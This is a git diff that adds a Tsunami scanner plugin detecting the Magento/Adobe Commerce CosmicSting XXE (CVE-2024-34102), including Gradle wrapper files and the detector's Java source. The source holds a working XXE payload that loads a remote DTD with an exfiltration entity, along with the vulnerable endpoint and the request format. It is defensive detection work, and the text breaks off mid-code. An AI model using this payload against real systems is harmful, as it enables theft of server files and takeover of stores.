z#rzEa&0uNhJ>QE8iiyz;n2H|SV#Og+wEZv=f2%1ELX!SX-(d3tEj$5$1}70Mp<&eI zCkfbByL7af=qQE@5vDVxx1}FSGt_a1DoE3SDI+G)mBAna)KBG4p8Epxl9QZ4BfdAN zFnF|Y(umr;gRgG6NLQ$?ZWgllEeeq~z^ZS7L?<(~O&$5|y)Al^iMKy}&W+eMm1W z7EMU)u^ke(A1#XCV>CZ71}P}0x)4wtHO8#JRG3MA-6g=`ZM!FcICCZ{IEw8Dm2&LQ z1|r)BUG^0GzI6f946RrBlfB1Vs)~8toZf~7)+G;pv&XiUO(%5bm)pl=p>nV^o*;&T z;}@oZSibzto$arQgfkp|z4Z($P>dTXE{4O=vY0!)kDO* zGF8a4wq#VaFpLfK!iELy@?-SeRrdz%F*}hjKcA*y@mj~VD3!it9lhRhX}5YOaR9$} z3mS%$2Be7{l(+MVx3 z(4?h;P!jnRmX9J9sYN#7i=iyj_5q7n#X(!cdqI2lnr8T$IfOW<_v`eB!d9xY1P=2q&WtOXY=D9QYteP)De?S4}FK6#6Ma z=E*V+#s8>L;8aVroK^6iKo=MH{4yEZ_>N-N z`(|;aOATba1^asjxlILk<4}f~`39dBFlxj>Dw(hMYKPO3EEt1@S`1lxFNM+J@uB7T zZ8WKjz7HF1-5&2=l=fqF-*@>n5J}jIxdDwpT?oKM3s8Nr`x8JnN-kCE?~aM1H!hAE z%%w(3kHfGwMnMmNj(SU(w42OrC-euI>Dsjk&jz3ts}WHqmMpzQ3vZrsXrZ|}+MHA7 z068obeXZTsO*6RS@o3x80E4ok``rV^Y3hr&C1;|ZZ0|*EKO`$lECUYG2gVFtUTw)R z4Um<0ZzlON`zTdvVdL#KFoMFQX*a5wM0Czp%wTtfK4Sjs)P**RW&?lP$(<}q%r68Z zS53Y!d@&~ne9O)A^tNrXHhXBkj~$8j%pT1%%mypa9AW5E&s9)rjF4@O3ytH{0z6riz|@< zB~UPh*wRFg2^7EbQrHf0y?E~dHlkOxof_a?M{LqQ^C!i2dawHTPYUE=X@2(3<=OOxs8qn_(y>pU>u^}3y&df{JarR0@VJn0f+U%UiF=$Wyq zQvnVHESil@d|8&R<%}uidGh7@u^(%?$#|&J$pvFC-n8&A>utA=n3#)yMkz+qnG3wd zP7xCnF|$9Dif@N~L)Vde3hW8W!UY0BgT2v(wzp;tlLmyk2%N|0jfG$%<;A&IVrOI< z!L)o>j>;dFaqA3pL}b-Je(bB@VJ4%!JeX@3x!i{yIeIso^=n?fDX`3bU=eG7sTc%g%ye8$v8P@yKE^XD=NYxTb zbf!Mk=h|otpqjFaA-vs5YOF-*GwWPc7VbaOW&stlANnCN8iftFMMrUdYNJ_Bnn5Vt zxfz@Ah|+4&P;reZxp;MmEI7C|FOv8NKUm8njF7Wb6Gi7DeODLl&G~}G4be&*Hi0Qw z5}77vL0P+7-B%UL@3n1&JPxW^d@vVwp?u#gVcJqY9#@-3X{ok#UfW3<1fb%FT`|)V~ggq z(3AUoUS-;7)^hCjdT0Kf{i}h)mBg4qhtHHBti=~h^n^OTH5U*XMgDLIR@sre`AaB$ zg)IGBET_4??m@cx&c~bA80O7B8CHR7(LX7%HThkeC*@vi{-pL%e)yXp!B2InafbDF zjPXf1mko3h59{lT6EEbxKO1Z5GF71)WwowO6kY|6tjSVSWdQ}NsK2x{>i|MKZK8%Q zfu&_0D;CO-Jg0#YmyfctyJ!mRJp)e#@O0mYdp|8x;G1%OZQ3Q847YWTyy|%^cpA;m zze0(5p{tMu^lDkpe?HynyO?a1$_LJl2L&mpeKu%8YvgRNr=%2z${%WThHG=vrWY@4 zsA`OP#O&)TetZ>s%h!=+CE15lOOls&nvC~$Qz0Ph7tHiP;O$i|eDwpT{cp>+)0-|; zY$|bB+Gbel>5aRN3>c0x)4U=|X+z+{ zn*_p*EQoquRL+=+p;=lm`d71&1NqBz&_ph)MXu(Nv6&XE7(RsS)^MGj5Q?Fwude-(sq zjJ>aOq!7!EN>@(fK7EE#;i_BGvli`5U;r!YA{JRodLBc6-`n8K+Fjgwb%sX;j=qHQ z7&Tr!)!{HXoO<2BQrV9Sw?JRaLXV8HrsNevvnf>Y-6|{T!pYLl7jp$-nEE z#X!4G4L#K0qG_4Z;Cj6=;b|Be$hi4JvMH!-voxqx^@8cXp`B??eFBz2lLD8RRaRGh zn7kUfy!YV~p(R|p7iC1Rdgt$_24i0cd-S8HpG|`@my70g^y`gu%#Tf_L21-k?sRRZHK&at(*ED0P8iw{7?R$9~OF$Ko;Iu5)ur5<->x!m93Eb zFYpIx60s=Wxxw=`$aS-O&dCO_9?b1yKiPCQmSQb>T)963`*U+Ydj5kI(B(B?HNP8r z*bfSBpSu)w(Z3j7HQoRjUG(+d=IaE~tv}y14zHHs|0UcN52fT8V_<@2ep_ee{QgZG zmgp8iv4V{k;~8@I%M3<#B;2R>Ef(Gg_cQM7%}0s*^)SK6!Ym+~P^58*wnwV1BW@eG z4sZLqsUvBbFsr#8u7S1r4teQ;t)Y@jnn_m5jS$CsW1um!p&PqAcc8!zyiXHVta9QC zY~wCwCF0U%xiQPD_INKtTb;A|Zf29(mu9NI;E zc-e>*1%(LSXB`g}kd`#}O;veb<(sk~RWL|f3ljxCnEZDdNSTDV6#Td({6l&y4IjKF z^}lIUq*ZUqgTPumD)RrCN{M^jhY>E~1pn|KOZ5((%F)G|*ZQ|r4zIbrEiV%42hJV8 z3xS)=!X1+=olbdGJ=yZil?oXLct8FM{(6ikLL3E%=q#O6(H$p~gQu6T8N!plf!96| z&Q3=`L~>U0zZh;z(pGR2^S^{#PrPxTRHD1RQOON&f)Siaf`GLj#UOk&(|@0?zm;Sx ztsGt8=29-MZs5CSf1l1jNFtNt5rFNZxJPvkNu~2}7*9468TWm>nN9TP&^!;J{-h)_ z7WsHH9|F%I`Pb!>KAS3jQWKfGivTVkMJLO-HUGM_a4UQ_%RgL6WZvrW+Z4ujZn;y@ zz9$=oO!7qVTaQAA^BhX&ZxS*|5dj803M=k&2%QrXda`-Q#IoZL6E(g+tN!6CA!CP* zCpWtCujIea)ENl0liwVfj)Nc<9mV%+e@=d`haoZ*`B7+PNjEbXBkv=B+Pi^~L#EO$D$ZqTiD8f<5$eyb54-(=3 zh)6i8i|jp(@OnRrY5B8t|LFXFQVQ895n*P16cEKTrT*~yLH6Z4e*bZ5otpRDri&+A zfNbK1D5@O=sm`fN=WzWyse!za5n%^+6dHPGX#8DyIK>?9qyX}2XvBWVqbP%%D)7$= z=#$WulZlZR<{m#gU7lwqK4WS1Ne$#_P{b17qe$~UOXCl>5b|6WVh;5vVnR<%d+Lnp z$uEmML38}U4vaW8>shm6CzB(Wei3s#NAWE3)a2)z@i{4jTn;;aQS)O@l{rUM`J@K& l00vQ5JBs~;vo!vr%%-k{2_Fq1Mn4QF81S)AQ99zk{{c4yR+0b! literal 0 HcmV?d00001 diff --git a/doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.properties b/doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 000000000..d04736436 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,7 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +networkTimeout=10000 +validateDistributionUrl=true +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/doyensec/detectors/magento_cosmicsting_xxe/gradlew b/doyensec/detectors/magento_cosmicsting_xxe/gradlew new file mode 100755 index 000000000..1aa94a426 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/gradlew @@ -0,0 +1,249 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/doyensec/detectors/magento_cosmicsting_xxe/gradlew.bat b/doyensec/detectors/magento_cosmicsting_xxe/gradlew.bat new file mode 100644 index 000000000..93e3f59f1 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/gradlew.bat @@ -0,0 +1,92 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle new file mode 100644 index 000000000..9ef0beed0 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'magento_cosmicsting_xxe_cve-2024-34102' diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java new file mode 100644 index 000000000..6f172e7aa --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link MagentoCosmicStingXxe}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} + + private Annotations() {} +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java new file mode 100644 index 000000000..32bebec5f --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java @@ -0,0 +1,395 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.cves.cve202434102; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; + +import com.google.common.annotations.VisibleForTesting; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonObject; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; +import com.google.tsunami.proto.AdditionalDetail; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TextData; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import javax.inject.Inject; + +/** A Tsunami plugin that detects the CosmicSting XXE in Adobe Commerce and Magento */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)", + version = "0.1", + description = + "This plugin detects the CosmicSting XXE vulnerability in Magento and Adobe Commerce.", + author = "Savino Sisco (savio@doyensec.com)", + bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class) +public final class MagentoCosmicStingXxe implements VulnDetector { + @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; + + @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_TITLE = + "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)"; + + static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = + "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE" + + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated" + + " HTTP request with a crafted XML file that references external entities; when the" + + " request payload is deserialized, the attacker can extract sensitive files from the" + + " system and gain administrative access to the software. Remote Code Execution (RCE)" + + " could be accomplished by combining the issue with another vulnerability, such as the" + + " PHP iconv RCE. See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" + + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" + + " information.\n"; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION_CALLBACK = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via an Out of Band Callback."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_DESCRIPTION_RESPONSE_MATCHING = + VULNERABILITY_REPORT_DESCRIPTION_BASIC + + "The vulnerability was confirmed via response matching only, as the Tsunami Callback" + + " Server was not available."; + + @VisibleForTesting + static final String VULNERABILITY_REPORT_RECOMMENDATION = + "Install the latest security patches and rotate your encryption keys. More detailed" + + " instructions can be found in the official Adobe security bulletin:" + + " https://helpx.adobe.com/security/products/magento/apsb24-40.html."; + + static final String DTD_FILE_URL = + "https://raw.githubusercontent.com/doyensec/tsunami-security-scanner-plugins/magento-cosmicsting-xxe/payloads/magento-cosmicsting-xxe/dtd.xml"; + private static final String PAYLOAD_TEMPLATE = + "\n" + + "\n" + + " \n" + + " \n" + + " %sp;\n" + + " %param1;\n" + + "]>\n" + + "&exfil;"; + + @VisibleForTesting + static final String VULNERABLE_ENDPOINT_PATH = + "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"; + + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + private final int oobSleepDuration; + + private boolean responseMatchingOnly = false; + private String detectedMagentoVersion = null; + + @Inject + MagentoCosmicStingXxe( + @UtcClock Clock utcClock, + HttpClient httpClient, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + // This is the main entry point of VulnDetector. + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("MagentoCosmicStingXxe starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + private String detectMagentoVersion(NetworkService networkService) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "magento_version"; + logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri); + + HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + if (response.status().code() == HttpStatus.OK.code() + && response.bodyString().orElse("").startsWith("Magento")) { + String version = response.bodyString().get(); + logger.atInfo().log("Detected Magento version: '%s'", version); + return version; + } else { + logger.atInfo().log("Unable to detect Magento version."); + return null; + } + + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); + return null; + } + } + + private String ensureCorrectUrlFormat(String domainOrUrl) { + if (domainOrUrl.startsWith("http://") || domainOrUrl.startsWith("https://")) { + return domainOrUrl; + } else { + return "http://" + domainOrUrl; + } + } + + private String getJsonPayload(String xxePayload) { + /* JSON payload format: + { + "address": { + "totalsReader": { + "collectorList": { + "totalCollector": { + "sourceData": { + "data": payload, + "options": 16 + } + } + } + } + } + } + */ + + // Build the JSON object containing the XXE payload + JsonObject sourceData = new JsonObject(); + sourceData.addProperty("data", xxePayload); + sourceData.addProperty("options", 16); + + JsonObject totalCollector = new JsonObject(); + totalCollector.add("sourceData", sourceData); + + JsonObject collectorList = new JsonObject(); + collectorList.add("totalCollector", totalCollector); + + JsonObject totalsReader = new JsonObject(); + totalsReader.add("collectorList", collectorList); + + JsonObject address = new JsonObject(); + address.add("totalsReader", totalsReader); + + JsonObject jsonPayload = new JsonObject(); + jsonPayload.add("address", address); + + return jsonPayload.toString(); + } + + // Sends the payload and returns True if the response matches the pattern of a vulnerable instance + private boolean sendPayload(NetworkService networkService, String jsonPayload) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_ENDPOINT_PATH; + logger.atInfo().log("Sending XXE payload to '%s'", targetUri); + + HttpRequest req = + HttpRequest.post(targetUri) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(jsonPayload)) + .build(); + + try { + HttpResponse response = this.httpClient.send(req, networkService); + // Check if the response matches any known values + if (response.status() == HttpStatus.INTERNAL_SERVER_ERROR + && response + .bodyString() + .orElse("") + .startsWith( + "{\"message\":\"Internal Error. Details are available in Magento log file.")) { + logger.atInfo().log( + "HTTP response received with status code 500 (Internal Server Error): the instance" + + " should be vulnerable."); + return true; + } else if (response.status() == HttpStatus.BAD_REQUEST + && response.bodyString().orElse("").equals("{\"message\":\"Invalid data type\"}")) { + logger.atInfo().log( + "HTTP response received with status code 400 (Bad Request): the instance seems to be" + + " patched."); + return false; + } else { + logger.atInfo().log( + "Response does not match any known responses. Status code: %s (%s).", + response.status().code(), response.status().name()); + return false; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); + return false; + } + } + + // Checks whether a given Magento instance is exposed and vulnerable. + private boolean isServiceVulnerable(NetworkService networkService) { + + // Fetch the version of the running Magento instance + this.detectedMagentoVersion = detectMagentoVersion(networkService); + + // Generate the payload for the callback server + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) + .build(); + + String oobCallbackUrl = ""; + Payload payload = null; + + // Check if the callback server is available, fallback to response matching if not + try { + payload = this.payloadGenerator.generate(config); + // Use callback for RCE confirmation and raise severity on success + if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log( + "Tsunami Callback Server not available: detector will use response matching only."); + responseMatchingOnly = true; + } else { + oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload()); + } + } catch (NotImplementedException e) { + responseMatchingOnly = 